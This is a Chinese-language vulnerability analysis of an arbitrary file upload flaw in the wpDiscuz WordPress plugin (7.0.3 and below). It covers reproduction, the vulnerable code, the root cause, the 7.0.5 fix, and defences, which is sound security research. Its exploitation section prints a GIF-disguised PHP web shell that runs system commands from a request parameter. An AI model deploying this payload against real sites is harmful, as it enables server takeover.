wordpress插件wpdiscuz任意文件上传漏洞分析
字数 1140 2025-08-20 18:17:47

WordPress插件wpDiscuz任意文件上传漏洞分析

漏洞概述

wpDiscuz是WordPress的一个评论插件,在7.0.3及以下版本中存在任意文件上传漏洞,攻击者可以通过构造特殊的文件上传请求,绕过MIME类型检查,实现任意文件上传,最终可能导致服务器被完全控制。

漏洞复现环境

  • 操作系统:Windows
  • 环境搭建:phpstudy
  • 开发工具:phpstorm
  • WordPress插件版本:wpDiscuz 7.0.3
  • 插件下载地址:https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip

漏洞复现步骤

  1. 解压插件到wp-content/plugins目录
  2. 登录WordPress管理员后台启用wpDiscuz插件
  3. 在文章评论区上传一个带有GIF文件头的PHP文件(如:<?php phpinfo(); ?>
  4. 上传成功后,系统会返回文件地址,如:http://127.0.0.1/wordpress/wp-content/uploads/2020/08/1-1598075857.9448.php
  5. 访问该URL即可执行上传的PHP代码

漏洞分析

漏洞入口

WordPress通过wp-setting.php加载插件,并将wp_ajax_nopriv_wmuUploadFiles写入$wp_filter

foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
   wp_register_plugin_realpath( $plugin );
   include_once $plugin;
   do_action( 'plugin_loaded', $plugin );
}

通过表单的action参数触发插件加载:

$action = ( isset( $_REQUEST['action'] ) ) ? $_REQUEST['action'] : '';

关键漏洞代码

漏洞主要存在于wp-content/plugins/wpdiscuz/utils/class.WpdiscuzHelperUpload.php文件中:

  1. 文件上传处理函数(376行):
public function uploadFiles() {
    require_once(ABSPATH . "wp-admin/includes/image.php");
    foreach ($files as $file) {
        $error = false;
        $extension = pathinfo($file["name"], PATHINFO_EXTENSION); //获取文件扩展名
        $mimeType = $this->getMimeType($file, $extension); //获取MIME类型
  1. MIME类型检测函数
private function getMimeType($file, $extension) {
    $mimeType = "";
    if (function_exists("mime_content_type")) {
        $mimeType = mime_content_type($file["tmp_name"]); //检测文件真实MIME类型
    } elseif (function_exists("finfo_open") && function_exists("finfo_file")) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file["tmp_name"]);
    } elseif ($extension) {
        $matches = wp_check_filetype($file["name"], $this->options->content["wmuMimeTypes"]);
        $mimeType = empty($matches["type"]) ? "" : $matches["type"];
    }
    return $mimeType;
}
  1. 文件类型检查
private function isAllowedFileType($mimeType) {
    $isAllowed = false;
    if (!empty($this->options->content["wmuMimeTypes"]) && is_array($this->options->content["wmuMimeTypes"])) {
        $isAllowed = in_array($mimeType, $this->options->content["wmuMimeTypes"]);
    }
    return $isAllowed;
}
  1. 文件上传执行
private function uploadSingleFile($file) {
    $currentTime = WpdiscuzHelper::getMicrotime();
    $attachmentData = [];
    $path = $this->wpUploadsPath . "/";
    $fName = $file["name"];
    $pathInfo = pathinfo($fName);
    $realFileName = $pathInfo["filename"];
    $ext = empty($pathInfo["extension"]) ? "" : strtolower($pathInfo["extension"]);
    $sanitizedName = sanitize_file_name($realFileName); 
    $cleanFileName = $sanitizedName . "-" . $currentTime . "." . $ext;
    $cleanRealFileName = $sanitizedName . "." . $ext;
    $fileName = $path . $cleanFileName;
    if (in_array($ext, ["jpeg", "jpg"])) {
        $this->imageFixOrientation($file["tmp_name"]);
    }
    $success = apply_filters("wpdiscuz_mu_compress_image", false, $file["tmp_name"], $fileName, $q = 60);
    if ($success || @move_uploaded_file($file["tmp_name"], $fileName)) {

漏洞原理

  1. 插件仅检查文件的MIME类型,而不验证文件扩展名是否与MIME类型匹配
  2. 攻击者可以构造一个带有图片文件头(如GIF)的PHP文件,绕过MIME类型检查
  3. 文件上传后保留原始扩展名(.php),导致可以执行任意PHP代码

漏洞修复

在wpDiscuz 7.0.5版本中修复了此漏洞,改进点如下:

private function isAllowedFileType($mimeType, $extension) {
    $isAllowed = false;
    if (!empty($this->mimeTypes) && is_array($this->mimeTypes)) {
        foreach ($this->mimeTypes as $ext => $mimes) {
            if ($ext === $extension) {
                if ($isAllowed = in_array($mimeType, explode("|", $mimes))) {
                    break;
                }
            }
        }
    }
    return $isAllowed;
}

修复后的代码会同时检查文件扩展名和MIME类型是否匹配,防止了任意文件上传漏洞。

漏洞利用方式

攻击者可以上传以下内容的PHP文件(伪装成GIF):

GIF89a
<?php
if(isset($_REQUEST['cmd'])){
    $output = shell_exec($_REQUEST['cmd']);
    echo "<pre>$output</pre>";
}
?>

上传后访问该文件并附加cmd参数即可执行任意系统命令。

防御建议

  1. 及时更新wpDiscuz插件到最新版本
  2. 对上传文件进行多重验证:
    • 检查文件扩展名
    • 验证MIME类型
    • 检查文件内容是否与扩展名匹配
  3. 限制上传目录的执行权限
  4. 对上传文件进行重命名,避免保留原始扩展名
  5. 使用Web应用防火墙(WAF)拦截可疑的上传请求
WordPress插件wpDiscuz任意文件上传漏洞分析 漏洞概述 wpDiscuz是WordPress的一个评论插件,在7.0.3及以下版本中存在任意文件上传漏洞,攻击者可以通过构造特殊的文件上传请求,绕过MIME类型检查,实现任意文件上传,最终可能导致服务器被完全控制。 漏洞复现环境 操作系统:Windows 环境搭建:phpstudy 开发工具:phpstorm WordPress插件版本:wpDiscuz 7.0.3 插件下载地址:https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip 漏洞复现步骤 解压插件到 wp-content/plugins 目录 登录WordPress管理员后台启用wpDiscuz插件 在文章评论区上传一个带有GIF文件头的PHP文件(如: <?php phpinfo(); ?> ) 上传成功后,系统会返回文件地址,如: http://127.0.0.1/wordpress/wp-content/uploads/2020/08/1-1598075857.9448.php 访问该URL即可执行上传的PHP代码 漏洞分析 漏洞入口 WordPress通过 wp-setting.php 加载插件,并将 wp_ajax_nopriv_wmuUploadFiles 写入 $wp_filter : 通过表单的 action 参数触发插件加载: 关键漏洞代码 漏洞主要存在于 wp-content/plugins/wpdiscuz/utils/class.WpdiscuzHelperUpload.php 文件中: 文件上传处理函数 (376行): MIME类型检测函数 : 文件类型检查 : 文件上传执行 : 漏洞原理 插件仅检查文件的MIME类型,而不验证文件扩展名是否与MIME类型匹配 攻击者可以构造一个带有图片文件头(如GIF)的PHP文件,绕过MIME类型检查 文件上传后保留原始扩展名(.php),导致可以执行任意PHP代码 漏洞修复 在wpDiscuz 7.0.5版本中修复了此漏洞,改进点如下: 修复后的代码会同时检查文件扩展名和MIME类型是否匹配,防止了任意文件上传漏洞。 漏洞利用方式 攻击者可以上传以下内容的PHP文件(伪装成GIF): 上传后访问该文件并附加 cmd 参数即可执行任意系统命令。 防御建议 及时更新wpDiscuz插件到最新版本 对上传文件进行多重验证: 检查文件扩展名 验证MIME类型 检查文件内容是否与扩展名匹配 限制上传目录的执行权限 对上传文件进行重命名,避免保留原始扩展名 使用Web应用防火墙(WAF)拦截可疑的上传请求